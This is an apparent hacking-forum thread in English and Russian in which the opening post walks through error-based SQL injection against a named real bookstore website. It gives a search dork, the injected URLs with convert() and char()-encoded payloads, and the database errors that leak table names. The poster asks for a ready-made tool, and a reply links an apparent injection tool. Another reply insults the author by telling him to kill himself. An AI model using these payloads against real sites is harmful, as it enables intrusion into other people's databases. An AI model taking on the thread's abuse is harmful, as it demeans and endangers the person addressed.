CFM SQL Injection!
 

http://google.com/

inurl: *.cfm?id=


http://www.newworldlibrary.com/productdetails.cfm?PC=385'

[Macromedia][SQLServer JDBC Driver][SQLServer]Line 3: Incorrect syntax near ''.

http://www.newworldlibrary.com/productdetails.cfm?PC=385 and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password

[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'Category' to a column of data type int.

Convert String to ascii http://www.easycalculation.com/ascii-hex.php

Category convert to Ascii is: 67 97 116 101 103 111 114 121

char(67)%2bchar(97)%2bchar(116)%2bchar(101)%2bchar (103)%2bchar(111)%2bchar(114)%2bchar(121)

http://www.newworldlibrary.com/productdetails.cfm?PC=385and%201=convert(int,(sele ct%20top%201%20table_name%20from%20information_sch ema.tables%20where%20table_name%20not%20in%20(char (67)%2bchar(97)%2bchar(116)%2bchar(101)%2bchar(103 )%2bchar(111)%2bchar(114)%2bchar(121))))--sp_password

[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'Address' to a column of data type int.

I need tool get this Bug.
Thanks

ошибся разделом

thiem_jimmiifc you've missed with a forum's section

чё за тупость? аффтар, kill yourself by wall

Мб создать тему PHP Sql-Injection?

http://google.com/

inurl: *.php?id=

и тд...

you can't speak english? I don't understand russian

RE:"you can't speak english? I don't understand russian" -)))

звучит как будто гопнек, попытался перевести фразу :"Ты че не можешь говорить по аглицки?"
имхо, американцы так не говорят.
"Can you speak..." - еще куда ни шло.

какой ты умный...

2 thiem_jimmiifc, how did u understand that "Просьбы о взломах" is the right section 4 ur topic? it's curious 4 me=)

не спорю...

2Spyder
Читатай внимательней.

2thiem_jimmiifc
http://pidor.in/mssql.php
use that.

Can you write it as Visual Basic?
I need VB tool!